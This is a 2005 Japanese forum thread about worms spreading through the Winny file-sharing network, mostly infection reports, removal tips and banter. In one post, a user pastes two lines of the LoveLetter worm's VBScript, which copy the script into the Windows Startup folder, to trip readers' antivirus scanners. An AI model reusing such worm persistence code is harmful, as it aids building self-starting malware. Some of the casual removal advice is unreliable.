Winnyを狙ったワーム・ウイルス情報 Part33

Winnyを狙ったワーム� ..

260:[名無し]さん(bin+cue).rar
05/02/06 14:55:24 aoUba4KJ0
>>256
UpFolder.txtを書き換えてファイルを勝手にアップロードするタイプのようだ

レジストリのrunからIMJPlG.exeを削除
system32フォルダから当該ファイルを削除
upfolder.txtを元に戻す
勝手に作られたフォルダを削除

で大丈夫だと思う。多分。

261:[名無し]さん(bin+cue).rar
05/02/06 15:08:39 WL7dtHQv0
【使用OS】 XP
【WindowsUpdateしてるか】今はしているけど感染時はしていなかった
【AntiVirusは何を使っているか】ノートン
【ちゃんとUpdateしてるか】今はしているけど感染時はしていなかった
【スキャンした結果（ウイルス名・発見場所）】感染していなかったけど、ノートンをアップデートしていなかった
【別のオンラインスキャンしたならその結果は】していません
【症状を具体的に、分かる限りすべて書く】 128MB以上のjpegファイルがすべて128MBに表示されて画像を見ることができなくなりました。ファイルのサイズは元のままです。
【何をしたらそんなことになったのか】　気がついた時にはなってました。winnyやってるので、落としたファイルを踏んだのだと思います。
【これまでにとった措置】他の画像ｿﾌﾄを試してみました。全滅です。
【その他の質問】　元にもどす方法があれば教えてください。デジカメで撮影した思い出の写真もあるので諦めきれません。

262:[名無し]さん(bin+cue).rar
05/02/06 15:09:28 mOjdOBQb0
デジカメキンタマ

mellpo
の情報キボンヌ

263:[名無し]さん(bin+cue).rar
05/02/06 15:20:16 McpvEx4g0
キャッシュにいつのまにかHTMLがいるんだが・・・・
やられちゃった？

264:[名無し]さん(bin+cue).rar
05/02/06 15:34:37 V3CzvDms0
>>261
削除されてるならともかく、多分上書きされてるから元に戻すのは不可能
しかし128MBとはまた大(ｸﾏｰ
>>263
知るか、ってかそれだけの情報でわかるか
気になるならまず自分で一通りのことをしろ

265:[名無し]さん(bin+cue).rar
05/02/06 15:38:48 WL7dtHQv0
>>264
うーん・・
ダメポですか

検索しても、それっぽい記事にあたらないんですよ。
珍しいウィルスなのかしら

すみません、128KBの間違いです。
100KBとか98KBのファイルは無事でした。

266:[名無し]さん(bin+cue).rar
05/02/06 16:06:11 YjUhjOkk0
バスターずっと使ってて先日ノートンに替えた・・・
そしてスキャンしてみた・・・

２２個のウィルスが見つかりました。
先生すげぇぇぇ！！バスター市ね！！！

267:[名無し]さん(bin+cue).rar
05/02/06 16:37:04 mOjdOBQb0
>>264
ガッ
てか、mellpoの情報少なすぎ

>>266
両方使えよ
俺は、Norton2003+バスターオンラインを使ってる
片方にしか検出されないウイルスがあるからな

268:[名無し]さん(bin+cue).rar
05/02/06 17:05:57 9PL10oeW0
mellpoはシャレのほうで流行(というほどひっかからんが)じゃないか？
ずっと地引しているけど、50件ぐらいしかひっかからん

269:[名無し]さん(bin+cue).rar
05/02/06 18:39:33 EocYspfo0
>>266
2ch専ブラのログってオチは無いよな？

270:[名無し]さん(bin+cue).rar
05/02/06 19:58:25 UweBoUFo0
>>269
ログってウイルスなのか？

271:[名無し]さん(bin+cue).rar
05/02/06 20:00:38 cGi3nN9+0
>>270
先生がウイルスコードに反応する

272:[名無し]さん(bin+cue).rar
05/02/06 20:03:30 Osr1dyrw0
>>270
たまにわけわからん文字列を書くやつがいるだろ。
先生は感度がいいんで、それをウイルスと混同する。
eicarのコードを書き込んでも反応するんじゃないかな？

273:[名無し]さん(bin+cue).rar
05/02/06 20:13:28 ybSFv8wW0
　　　＿＿＿
　　＿l≡_、_ |＿　(
　　（≡´ⅴ｀）　　) ウイルスコードなんてしらねーよ・
　　　<__ヽyゝヽy━･
　　　/＿l：__|
　　　ｌL ｌL

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE- LETTER-FOR-YOU.TXT.vbs

274:[名無し]さん(bin+cue).rar
05/02/06 20:29:21 YjUhjOkk0
>>273
死ね

275:[名無し]さん(bin+cue).rar
05/02/06 20:34:24 ybSFv8wW0
>>274
うるさいよ、厨房
このスレに出入りして、さらにノートンとログブラウザ使ってる人間なら
ウイルスコードの誤作動の回避のための除外設定してないやつがいるわけないだろ

276:[名無し]さん(bin+cue).rar
05/02/06 20:38:11 rJV6Tdi90
むしろあぼーん指定。

277:[名無し]さん(bin+cue).rar
05/02/06 20:40:14 ybSFv8wW0
いやブラウザによるあぼ～んじゃ誤作動するから

278:[名無し]さん(bin+cue).rar
05/02/06 20:48:41 ot7/gjwp0
>>275
ﾊｧ。厨房はお前だよ。

ネット&ウイルス検証用のマシンで頻繁に再インスコするから面倒で設定してないわけだが。

279:[名無し]さん(bin+cue).rar
05/02/06 20:53:54 a+FGygsQ0
今、ノートンがこのスレで反応したぞ。JaneStyleじゃ透明あぼーんでも駄目だな。

280:[名無し]さん(bin+cue).rar
05/02/06 21:03:13 Osr1dyrw0
透明あぼーんは読み込んでから、ルールに従って非表示にしてる
っぽいからな。ファイル自体を検証する先生は反応するだろう。
>>275はこれに反省して、今後二度とウイルスコードを貼らない
と誓え。

281:[名無し]さん(bin+cue).rar
05/02/06 21:05:50 ybSFv8wW0
ちょっと待て面倒とかほざく>278はともかく
>279とかは本気で除外とか知らんのか？

282:[名無し]さん(bin+cue).rar
05/02/06 21:06:27 V3CzvDms0
いいから触んな
>>275みたいな反応する奴がまともに忠告聞き入れると思うか？
黙ってIDであぼんしる。

283:[名無し]さん(bin+cue).rar
05/02/06 21:09:50 jWWdIOPP0
今ここでageたら、ダウソ板見ただけでウィルスに感染しました、という馬鹿が出るわけだな

284:[名無し]さん(bin+cue).rar
05/02/06 21:11:51 ybSFv8wW0
>>283
IEでは無反応
一度ログを取り込む専用ブラウザだから誤動作する
ageてもそれで被害が広がるわけではない
つか、本気でそれぐらいの仕組みもわからないのか？

285:[名無し]さん(bin+cue).rar
05/02/06 21:24:21 qyOpd75d0
ダウンフォルダの中に「zi0o.u30」という謎のファイルが転がってるのですが
これはなんなんでしょう・・

【使用OS】：XP
【WindowsUpdateしてるか:お知らせがある都度している
【使用AntiVirusソフト】：ウイバス
【AntiVirusをUpdateしてるか】：常時行っています
【ウイルススキャンの結果】：現在スキャン中
【Winnyのﾊﾞｰｼﾞｮﾝ】：2b71
【Winny歴、総DL量】: 半年
【テンプレを読んだか】：読みました
【テンプレにある対策を実行したか】：
　　指定されているフォルダ等チェックしましたがおかしいファイルは確認できてません
【症状、具体的に分かる限りすべて書く】：
　　とりあえず怪しいファイルはこれひとつのみでnyフォルダ上、システムフォルダ上に異常はありません
【何をしたらそんなことになったのか】：
　　落としたファイルを整理しているときに作成されていました
　　ファイルを同フォルダ内に解凍という作業を何回か行っているうちに
　　作成されたと思います。それまでには確認されていません
【これまでにとった措置】
　　ファイルはごみ箱に移動後消去。ウィルススキャン。
　　発見後nyは起動していません

286:[名無し]さん(bin+cue).rar
05/02/06 21:40:07 LWVCKB1T0
>>285
>>1の最初声に出して読め

287:[名無し]さん(bin+cue).rar
05/02/06 21:53:45 WZspEfhk0
バスター2005にアップデートしてから、落としたファイルにどんな怪しいexeが入ってようと全く反応しなくなった。（設定はちゃんとしてる）
まあ前みたいに駆除できないのにウイルス検出しました！ってしつこく出ないからいいけど。

288:[名無し]さん(bin+cue).rar
05/02/06 22:30:24 t/KCdhC80
いいのか？

289:[名無し]さん(bin+cue).rar
05/02/06 23:12:40 PO5OQcip0
>>283
そもそも未だにそんなコードに引っ掛かる様な野師居ないだろ？
他所の板ならまだしも、ここに来るような野師は設定で回避済みだろ･･･

290:[名無し]さん(bin+cue).rar
05/02/06 23:30:53 nl8yXChF0
同意。

291:[名無し]さん(bin+cue).rar
05/02/06 23:36:52 a+FGygsQ0
俺は変えてねーな。別に被害はねーし

292:[名無し]さん(bin+cue).rar
05/02/06 23:43:20 s3x1bN+g0
>>291
>>279みたいな反応が釣りを増長させて
他の住民に迷惑かけることも気にしろよ

293:[名無し]さん(bin+cue).rar
05/02/07 00:09:40 3WuLpAw70
初めて、ポート変えてみた

ファイアウォールログを見てみると
凄い勢いで前のｎｙポートにアクセスがある

294:[名無し]さん(bin+cue).rar
05/02/07 00:13:24 5yUxK6f20
>>293
ここはお前の日記帳じゃないっ

295:[名無し]さん(bin+cue).rar
05/02/07 01:10:28 01/ZIomG0
>>293
チラシの裏にでも書いてろっ

296:[名無し]さん(bin+cue).rar
05/02/07 01:31:12 jq2iDJat0
俺もはやく使ってみたい>チラシの裏にでも書いてろっ

297:[名無し]さん(bin+cue).rar
05/02/07 03:06:45 9dNmdl470
>>296
チラシの裏にでも書いてろっ

298:[名無し]さん(bin+cue).rar
05/02/07 03:42:34 WkgXewG70
チンコかゆい

299:[名無し]さん(bin+cue).rar
05/02/07 03:47:26 u0/W3fgY0
病院へ逝け

300:[名無し]さん(bin+cue).rar
05/02/07 09:38:03 jff/gz5V0
毎日風呂に入って下着も替えろ。

301:[名無し]さん(bin+cue).rar
05/02/07 15:06:38 fN/XNF0W0
それでも痒いんですが…。

302:[名無し]さん(bin+cue).rar
05/02/07 15:20:23 CjrSnF4v0
切れ！

303:[名無し]さん(bin+cue).rar
05/02/07 15:33:31 wnMIBQAD0
かゆくなるのは玉のほうだろ

304:[名無し]さん(bin+cue).rar
05/02/07 15:43:17 7gmUkW5G0
キンカン塗ると(･∀･)ｲｲ!!

305:[名無し]さん(bin+cue).rar
05/02/07 15:46:19 +MnNa7vf0
メンソレータム塗るともっと(･∀･)ｲｲ!

306:[名無し]さん(bin+cue).rar
05/02/07 15:49:58 3IIPwDdF0
質問にはテンプレを使いましょう。

307:[名無し]さん(bin+cue).rar
05/02/07 18:32:19 gVJkWv8j0
またウイルスか
マカフィー先生ありがとう

もう三回ぐらいひっかかってんな俺

308:[名無し]さん(bin+cue).rar
05/02/07 18:34:35 S7ePl6dF0
マカフィーの法則

309:[名無し]さん(bin+cue).rar
05/02/08 01:43:00 21r51iCG0
ちょいとお尋ねしますが、
他のファイル共有ネットワークでウィルスが
見つかった可能性があるなら、どこに報告すればいいの？

310:[名無し]さん(bin+cue).rar
05/02/08 02:06:21 XLylscR20
そのソフトの本スレじゃないの

311:[名無し]さん(bin+cue).rar
05/02/08 22:01:17 Gy40dB8A0
>>260
ｻﾝｸｽ
完全解決しますた

312:[名無し]さん(bin+cue).rar
05/02/08 22:58:40 O3IVKmrB0
URLﾘﾝｸ(uploader.zive.net)
この写真削除したけど、開くとどうなるか詳細教えて

313:[名無し]さん(bin+cue).rar
05/02/08 23:05:05 e3wIJdWc0
どうにもならない手遅れ

314:[名無し]さん(bin+cue).rar
05/02/08 23:09:07 O3IVKmrB0
>>313
ウィルス名で言うと何になるんですか？
これ拡張子がjpgなのに、jpgが開くときの脆弱性を利用して、
ウィルスを混入させるんでしょ？正直どういう仕組みなのかよくわからん
教えてください。

315:[名無し]さん(bin+cue).rar
05/02/08 23:11:56 gb/Lwtpb0
>>314
そんなことより
その圧縮ファイルのアイコンはなんてソフトのもの？

316:[名無し]さん(bin+cue).rar
05/02/08 23:29:47 O3IVKmrB0
>>315
ラプラスだけど
で、ウィルスのプログラムに詳しい方ご教授ください。

317:[名無し]さん(bin+cue).rar
05/02/08 23:35:17 gb/Lwtpb0
>>316
㌧クス

318:[名無し]さん(bin+cue).rar
05/02/08 23:37:57 O3IVKmrB0
>>317
ちなみにスペルはLhaplusね

319:[名無し]さん(bin+cue).rar
05/02/08 23:44:27 idwot2um0
ここ久しぶりに来たけど苺キンタマ以来目立った新種は出てないみたいね。

320:[名無し]さん(bin+cue).rar
05/02/08 23:47:21 O3IVKmrB0
>>319
こち亀exe

321:[名無し]さん(bin+cue).rar
05/02/09 01:42:45 VKcaXPNN0
で、画像見ないでレスするけど>>312の画像ってあやしげなjpgをそのままうｐしてんの？
対象をアーカイブに圧縮して「解凍してできるjpgが」ってなら話はわかるが、怪しげなファイルを
そのままうｐしたんならウィルスうｐしたってことだろ。違法じゃねーの？

322:[名無し]さん(bin+cue).rar
05/02/09 01:52:52 O2/Dnxa+0
この板で違法うｐを咎めたところで野暮だよ
逮捕される奴は逮捕される

323:[名無し]さん(bin+cue).rar
05/02/09 02:19:03 xDzEKmpT0
>321
画像見ないでレスする意味がわからん
感染すると思ってビビるほどの低スキルなやつが偉そうに能書きたれるわけもないし

324:[名無し]さん(bin+cue).rar
05/02/09 02:25:39 Zpz0uABU0
とりあえず>>312よ
>１読まないにも限度があるぞ

325:[名無し]さん(bin+cue).rar
05/02/09 10:32:54 U6ZnYu+o0
このスレの基本的な流れはキンタマ並のウィルスが出回るまで待ちながら
その他の報告に「>>1読め」で無視する流れ

326:[名無し]さん(bin+cue).rar
05/02/09 12:08:11 j1h3syDn0
>>312
はウィルスでもなんでもない
デスクトップキャプチャしてるだけ。
害はないよ。

327:[名無し]さん(bin+cue).rar
05/02/09 13:15:25 wxOqPPuW0
半端にスカすとここまでレス進む

328:[名無し]さん(bin+cue).rar
05/02/09 16:24:59 2RGwgY250
age

329:[名無し]さん(bin+cue).rar
05/02/09 17:58:26 hh2/SOq10
しかし、なんだな
今更exeとかフォルダ偽装とか踏むやついるんだな
キンタマ級の新手が出てきても、そうそう踏ませるのが難しいのでは？
と思ったが。踏むやつはいつになっても踏むのか…、それとも新参も増えてるのか…

330:[名無し]さん(bin+cue).rar
05/02/09 18:38:25 oSvcFUc60
>>312
マジレスするとｽﾊﾟｲｳｪｱだがイマイチたいしたこと無い
放置しれ

331:[名無し]さん(bin+cue).rar
05/02/09 19:01:09 2d3y+TiF0
>>330
312の写真は金子で見れば、削除するけど
他のjpgファイルに組み込まれたら怖くないか
ってか、すでにあるの？

332:[名無し]さん(bin+cue).rar
05/02/09 19:51:00 PQZQLfXS0
今度はpngか・・・

333:[名無し]さん(bin+cue).rar
05/02/09 19:53:22 nXOstONM0
新作のプリ×キュアﾏﾀﾞｰ？

334:[名無し]さん(bin+cue).rar
05/02/09 19:54:09 nXOstONM0
誤爆

335:[名無し]さん(bin+cue).rar
05/02/09 19:59:30 B3a3tz0V0
>>331
何言ってるのかさっぱりﾜｶﾝﾈ
特に一行目

336:[名無し]さん(bin+cue).rar
05/02/09 20:43:40 3meF1n5f0
最近よくファイルやアプリが応答なしってなるんだけど
こんなウイルスってある？

337:[名無し]さん(bin+cue).rar
05/02/09 20:45:53 Jad6FhQ40
スレ違い。初心者スレに行ってくれ。

338:[名無し]さん(bin+cue).rar
05/02/09 20:56:07 2d3y+TiF0
>>335
金子の写真以外に
ウィルスが組み込まれたjpgはあるのか？ってこと

339:[名無し]さん(bin+cue).rar
05/02/09 20:57:53 xgVpt7RT0
金子の写真ってなに？

340:[名無し]さん(bin+cue).rar
05/02/09 20:58:48 B3a3tz0V0
> 金子の写真

('A`)……?

341:[名無し]さん(bin+cue).rar
05/02/09 21:01:55 2d3y+TiF0
金子は４７氏のこと
>>312の写真は金子じゃないの？

342:[名無し]さん(bin+cue).rar
05/02/09 21:04:28 B3a3tz0V0
もう一度47氏の写真とその画像を見比べてごらん

同一人物に見える？
明日早速眼科か精神科に行った方が良いよ。

343:[名無し]さん(bin+cue).rar
05/02/09 21:08:13 2d3y+TiF0
>>342
そうなんだ、、、勘違いしてた。
まぁ誰かは知らないけどこの男の写真以外にも
危険なjpgってあるの？

344:[名無し]さん(bin+cue).rar
05/02/09 21:13:41 LTHSwe0q0
＞この男の写真以外にも危険なjpg

自分の認識だと赤シャツ男は、初代ヌルポの副産物であって
無害だが鬱陶しいとそういう感じだったのだが…

345:[名無し]さん(bin+cue).rar
05/02/09 21:15:41 B3a3tz0V0
大体、もし赤服眼鏡の写真が危険なコードを含んでたら
>>312みたくサムネイルを見た時点で感染してるんじゃないか？

危険なJPGが(あるとして)他にも存在するか、という問いなら
あるかもしれない、と答えるだろう。
nyにあるか、というと誰にもわからないけどな。

まず無いと思うけど。

346:[名無し]さん(bin+cue).rar
05/02/09 21:22:01 xgVpt7RT0
危険なjpgってただの”.jpg　　　　　　　 .exe”とかじゃねえのか。
それとも俺の知らない間にjpgｳｨﾙｽ出回ってるの？

347:[名無し]さん(bin+cue).rar
05/02/09 21:27:13 2d3y+TiF0
掲示板なんかで、拡張子が.jpgのリンクでも実は画像じゃなくてウィルスサイトに飛ばされる
ことってあるじゃん。２ちゃんにもよく張られてる。
このことと、nyは関係が無いかもしれんが気になった。

348:[名無し]さん(bin+cue).rar
05/02/09 21:27:41 B3a3tz0V0
いや、確かJPGにあるコードを入れておくとウイルスになるっつーのはあった気がする。

でも俺の知ってる奴は、あらかじめexeがハードディスク内にある場合に限り発動するってやつだけど。
JPG画像ファイル単体でウイルスの役目を果たすようなものってまだ無いんじゃないか？
セキュリティホール突くのは別として。

349:[名無し]さん(bin+cue).rar
05/02/10 00:20:38 li/KneUL0
【使用OS】Win2000 SP4
【WindowsUpdateしてるか】はい
【使用AntiVirusソフト】Norton AntiVirus 2003
【AntiVirusをUpdateしてるか】はい
【ウイルススキャンの結果】検出なし
【テンプレを読んだか】はい
【症状、具体的に分かる限りすべて書く】
C:\temp000が作られ（中身は空）、UpFolder.txtに追記されてました。
他、ずっと昔に流行ったozawa.exeのような挙動（白目のない女性の恐怖画像が画面一杯に突然出る。ザザザーのような音も出る）が出てる
これ何すか？

350:[名無し]さん(bin+cue).rar
05/02/10 00:23:56 NZbrBGBV0
ここは初心者の質問・救済スレではありません

351:[名無し]さん(bin+cue).rar
05/02/10 00:43:16 ybgwBGKq0
>>349
でもノートン入ってるのにかかるなんておかしな話だ

352:[名無し]さん(bin+cue).rar
05/02/10 00:44:08 kTvOqxaG0
>>349
そういう挙動をするプログラムなんじゃないの？

353:[名無し]さん(bin+cue).rar
05/02/10 01:02:36 li/KneUL0
すいません、Antinny系でozawaな挙動を示すものなど聞いたこともないので
（検索しても見付からないので）質問してしまいました。
もちろん単なるozawa+Antinny同時感染も疑いました、が、
WIN.INIを確認したところRun=の行自体がなく、
ozawa.exeとmadoka.exeを全探索しましたが見付かりませんでした。

また出た。この女が。こわい...

354:[名無し]さん(bin+cue).rar
05/02/10 01:07:50 3EO3/V1T0
新種というか亜種だろうな
最新のウイルス定義でも全ての亜種を防ぐわけじゃないから

355:[名無し]さん(bin+cue).rar
05/02/10 01:08:16 L+wkb+490
タスクマネージャで怪しいプロセス片っ端から閉じろ
それから感染元は何か調べる。後はしらね

356:[名無し]さん(bin+cue).rar
05/02/10 01:17:44 jpXD2K630
>>353
再インスコしとけ、それが嫌ならその女一生飼っとけ。

357:[名無し]さん(bin+cue).rar
05/02/10 01:29:18 li/KneUL0
ともかくozawa部分だけでもどうにかしようとあがくも、どこから起動しているかすら分からない

HKLM\Software\Microsoft\Windows\CurrentVersion\Run
ひとつひとつ検索したが、mp3infpとTweakMeUp以外全部ハードウェアもの
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceは空
前述の通りWIN.INIにRun=なし

しかし再起動するとozawa

358:[名無し]さん(bin+cue).rar
05/02/10 01:38:52 D7UbV5eS0
>>357
感染元のファイル名すら書かない君にぴったりの言葉を贈ろう

日記はチラシの裏に書け(AA略)

359:[名無し]さん(bin+cue).rar
05/02/10 01:42:43 nbd5RrmZ0
>357
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
とかスタートアップは?
あとはタスクマネージャのプロセスを全部調べるってとこか

360:[名無し]さん(bin+cue).rar
05/02/10 02:10:23 E/bQZxZE0
>>357
ノートンに報告入れといてね

361:[名無し]さん(bin+cue).rar
05/02/10 02:28:40 zzy+oPI00
みんな踏みまくってるよ。フォルダ偽装なんて知らないやつだらけ。
ウイルスなんて自分は関係ないと思ってる。

362:[名無し]さん(bin+cue).rar
05/02/10 02:54:42 H8Cx+fOD0
>白目のない女性の恐怖画像が画面一杯に突然出る。
>ザザザーのような音も出る

わかっててもｺﾜｲな

363:[名無し]さん(bin+cue).rar
05/02/10 05:08:57 vgDMncNg0
ウイルスじゃないから、PCに盛り塩するといいよ。

364:[名無し]さん(bin+cue).rar
05/02/10 05:12:02 psrLZGN30
窓から投げ捨てろ

365:[名無し]さん(bin+cue).rar
05/02/10 06:32:54 Js4DoeKW0
ウイルス撒くやつも踏ませようといろいろ考えてるね

CG集の前編フォルダなるものにはちゃんと画像をいれてて
後編フォルダなるものが.folderなのはワロタよ

366:[名無し]さん(bin+cue).rar
05/02/10 07:54:05 li/KneUL0
>>359
ビンゴ>HKCU
Microsoft製品ではないsyscheck.exeがC:\WINNTにありました

HKCUにもRunがあったとは...

367:[名無し]さん(bin+cue).rar
05/02/10 14:07:06 0o5Ll/4G0
除霊されますた

368:[名無し]さん(bin+cue).rar
05/02/10 21:46:13 LVJVrD/UO
W32/Pate.b
ってウイルスに感染してしまいました。
ダウンロードしたファイルは一応スキャンしたんですが・・・
とりあえずググッてみても駆除方法がわかりません
バカなワシにご指導を・・・

369:[名無し]さん(bin+cue).rar
05/02/10 22:25:45 A33DbpE40
　　　／"￣'ヽ,　　　　　　／"￣ヽ,
　　 /　　　　,　i.　　　　　/　　　　　i
　　,'　　　　/　 i-─-.,'　　　/　　',
　　!　　　　,'　　.i　　　　 i 　　/ 、　　i
　 .!　　　　.!'ー'´　　　　　'ｰ"´　ヽ　 i　
　 !　　　　!　,ﾍ　　,　 λ　,　,ｲ　 ',__,ﾉ　　
　ヽ,_ 　 _,ﾉｒ'-+ｰｲ　ﾉ -i- 、i　　ゝ
　　 ) ￣.ﾚｲ r;:=-;、ﾚﾞ　r;=;:t iｲノｲ
　　i　　　　i .! ﾋ__,!　　　ﾋ_,!! ,'　i、
　 /　 i　　λ.""　　　　　　　!　.i
　 i　 .人　　ゝ　　　-　　 ,.ｲ /〈　　
　　) ﾉヽノ、ﾚ'ｲ｀yｰ--r ,くリﾚ'ヽﾉ　
　　ﾚヽr ´ゝ,.-- 、｀ｰ-ｰ'y- 、
　　　/　　/　、ﾉ777777777777t
　　 i　　　i　 |||　　　　　　　　　 |
　　ゝr⌒/ . |||　.知っているが |
　　　　', ´ 　.|||　.お前の態度が|ヽ
　　　, '"y- ｲ|||　気にいらない r'＾ヽ
　　　',／　 ./|||　　　　　　　　　 (　　i
　　／　　　　ll.L___________________」ｰ'"

370:[名無し]さん(bin+cue).rar
05/02/10 22:36:07 C+9Iu0zT0
>>368
先ず最初に>>1じっくり見つめるんだ
そして深呼吸をして1行1行丁寧に詠んで行く
リズムは乱さないようにな
そうすれば何をするべきかが見えてくるぞ

371:[名無し]さん(bin+cue).rar
05/02/10 22:37:02 QU524JCE0
今日の朝、ノートン2005のログを見ていたらファイルを
ウイルススキャンしてW32.HLLW.Antinnyが引っかかり手動で削除しましたと
あったのですが感染を水際で防ぎ感染していないとみていいのでしょうか？
念のためシステムの完全スキャンをしてみても何もひっかかり
ませんでした。nyが入っている外付けHDDも一応スキャンしても何も検出
されず、感染したと思われる兆候も見た感じではないみたいです。
昨晩私が寝ている間に
ファイルを開こうとした●が開く前？にウイルススキャンをして何かを
削除したこと、削除後そのファイルを開こうと必死になったこと
しか把握してなくてウイルス入りファイルを実行しちまったのか
覚えてなくて困ってます。

372:[名無し]さん(bin+cue).rar
05/02/10 22:42:10 3EO3/V1T0
アンチウイルスソフトが何のためにあるのかと(ry

373:[名無し]さん(bin+cue).rar
05/02/10 23:17:31 dg5QlmdD0
つか>>1をちゃんと読んだのかと(ry

374:[名無し]さん(bin+cue).rar
05/02/10 23:46:34 TGY6uaPC0
ノートン先生も報われないよな

375:[名無し]さん(bin+cue).rar
05/02/10 23:47:57 SmFl9iFM0
こんなところでてぬを見ることになるとは思わなかった

376:[名無し]さん(bin+cue).rar
05/02/11 00:08:26 Z6O4gaKm0
先生はワーカホリック

377:[名無し]さん(bin+cue).rar
05/02/11 02:30:28 /5B8jTis0
>>371
検疫ログ見ればどのファイルか分かるだろうから、
もう一度キャッシュからファイル変換してみ。
先生、怒らないから。

ついでにバックアップを提出しとけ。

378:[名無し]さん(bin+cue).rar
05/02/11 03:03:08 4cp1HU0N0
W32.HLLW.Antinny について質問させていただいて、よろしいでしょうか？

379:[名無し]さん(bin+cue).rar
05/02/11 03:05:33 WgRPIS2p0
>>1

380:378
05/02/11 03:11:11 4cp1HU0N0
>>379
あっ！すすみません！
改行がおおすぎる、とゆわれたので2つにわけます。

【使用OS】
Windows2000 Professional
【WindowsUpdateしてるか】
あまりしていません・・
【AntiVirusは何を使っているか】
antivirusを知りません。。ごめんなさい。。
【ちゃんとUpdateしてるか】
【スキャンした結果（ウイルス名・発見場所）】
W32.HLLW.Antinny
Program FilesのCommon Files→Microsoft Shared→MSInfo→msinfo32.exe
【別のオンラインスキャンしたならその結果は】
【症状を具体的に、分かる限りすべて書く】
　1.起動している最中に本体から変な音がする(ｶﾞｶﾞｶﾞｶﾞ等)
　2.windows画面になった途端、ﾎﾟｰﾝとｴﾗｰ音がなる（怪しすぎる！）
　3.マウスの調子が悪くなる（ダスクトップにあるアイコンはクリックできない）
　4.スタートメニューからコントロールパネルを開こうとしても開かない
　5.スタートメニューからエクスプローラで開くとうまくいく（場合がある）
　6.エクスプローラからコントロールパネルを開こうとすると「アクセスは拒否されました」
　のようなエラーメッセージが出る
　7.ウイルスチェックをすると2つ見つかり、1つは駆除できましたがもう1つは出来ず
　再起動してもう一度ウイルスチェックすると、なぜかウイルス検出0になっている。
　8.2時間ほどパソコンを放っておくと通常どうり操作可能になる。

381:378
05/02/11 03:12:36 4cp1HU0N0
【何をしたらそんなことになったのか】
いきなり突然、です。同居者と共有しているもので、明確にはわからないです。
【これまでにとった措置】
ウイルスを削除。

W32.HLLW.Antinny はwinnyを狙ったワームと聞きましたが
私はwinnyを使ったことがありませんし、このファイルももっていません。
winnyを使ってない人の所へ入ったり、又、入ったとして被害が出たりするのでしょうか？
よろしくお願いします！

382:[名無し]さん(bin+cue).rar
05/02/11 03:23:18 6uJ6wsXI0
>>380
単にHDDが壊れかけだけなんじゃ。

383:[名無し]さん(bin+cue).rar
05/02/11 03:27:00 xDS0Wek10
>>380
Program Filess下のmsinfo32.exeを上書き（？）って初見だな、2000特有のものらしいし

取りあえずぁゃιぃプロセスを止めて、親ファイル削除、そしてレジストリ修復
まぁ、他にもなんか感染してそうだし素直にクリーンインスコを勧める

因みにny使用者でなくても物を踏めば感染する
どうでも良いが、「いう」を「ゆう」と表記するのは止めた方が良い

384:[名無し]さん(bin+cue).rar
05/02/11 03:31:31 Dl+HrxDX0
>>380
その「同居人」とやらがWinnyを使ってないという保証もないしな。

385:[名無し]さん(bin+cue).rar
05/02/11 03:50:02 Rsui7PMx0
>>379は
『まず、ここは初心者の質問・救済スレではありません。』
のことを示したかったと思うんだがどうよ

386:[名無し]さん(bin+cue).rar
05/02/11 04:59:27 SWWJjqCl0
どう考えてもそうだろ

387:[名無し]さん(bin+cue).rar
05/02/11 05:51:29 j8Jgm6140
しかもage質ときたもんだ

388:[名無し]さん(bin+cue).rar
05/02/11 10:13:46 1Hlxlk8c0
てゆーかnyを使った事もない人間が、antinyだからってこのスレに来たって言うわけ？
普通このスレ見つけるより先にｾｷｭ板かなんかにいくと思うんだが。

まぁそれはそれとして。
スタートアップ系のチェックと現プロセスの確認ってところじゃないのかあとは。
全フォルダ精査してnyが無いか探してみるとか。
OS再インストールが最強。

389:やりすぎ
05/02/11 10:55:28 B8b+zTyqO
仙台凶暴だな
マイドキュメント直撃かよ。。。

390:378
05/02/11 13:05:47 4cp1HU0N0
どうもありがとうございました。
今日は変な音もしませんでしたし、操作は何故かスムーズにいきました。
もうちょっと様子をみてから色々ためしてみます！

391:[名無し]さん(bin+cue).rar
05/02/11 13:24:19 r5q7HNlK0
.me11p0
ってファイルが流れてて
ためしに落として調べたらパス付きzipだった
中身はどうやら.IAF
URLﾘﾝｸ(ccfa.info)

これってやばくないか？

392:[名無し]さん(bin+cue).rar
05/02/11 13:35:03 y8XwQ1fv0
そりゃデータ元の人間にとってはやばいだろうな。メルアド悪用されるかもしれんし
.me11p0ってめるぽか

393:[名無し]さん(bin+cue).rar
05/02/11 14:04:50 nhGdSyay0
一言だけ言っておくけどな
ここはsage推奨じゃないぞ
基本的に質問するときはageるものだ

394:[名無し]さん(bin+cue).rar
05/02/11 14:22:34 2hSJUG150
age質もあくまで最新ノートンやバスターで検出されないものに限るけどな

395:[名無し]さん(bin+cue).rar
05/02/11 14:26:24 j8Jgm6140
>>393
一言だけ言っておくけどな
ここは質問スレじゃないぞ
基本的に質問するときは質問スレでするものだ

396:[名無し]さん(bin+cue).rar
05/02/11 16:01:33 nhGdSyay0
>>395
なるほど。

397:[名無し]さん(bin+cue).rar
05/02/11 16:07:10 z5wHpDot0
ちょっとスレ違いかも
そもそもWinnyを媒介にするウイルスってUpFolder.txtを書き換えて拡散させようとするんだから、
WinNT系ならUpFolder.txtの属性を、読み込みのみ書き込み拒否属性に書き換えればウマーなんじゃないかと
欄検眼段のウイルスにかかった友達のPCを直してて気づいた
何で早く気づかなかったんだろう自分

398:[名無し]さん(bin+cue).rar
05/02/11 16:23:18 y8XwQ1fv0
>>397
では次は実験だ
読み取り専用にしたaaa.txtと、別のフォルダにもう一つaaa.txtを用意して、
読み取り専用でないほうを読み取り専用のaaa.txtがあるフォルダに移動してみるんだ。

まあそれ以前に、ワーム系の機能がなくともローカルフォルダのものを勝手にうｐさせられることが十分痛手なんだから
拡散防止措置を考える前にウイルスプログラムを実行しないようにしろってこった

399:インリン
05/02/11 17:47:25 B8b+zTyqO
エロゲーイメージをマウント。。。
なんだなみんな。きっと

400:[名無し]さん(bin+cue).rar
05/02/11 18:09:31 Jqo5N8BU0
>>397
URLﾘﾝｸ(www.microsoft.com)
> 一度プログラムを実行すると、
> そのプログラムはあなた自身がコンピュータで実行できる処理を
> 何でも行うことができるようになります。

401:[名無し]さん(bin+cue).rar
05/02/11 18:18:28 NbmY9W1i0
>>399
で？

402:[名無し]さん(bin+cue).rar
05/02/11 18:36:52 B8b+zTyqO
お疲れさまです（笑）

403:[名無し]さん(bin+cue).rar
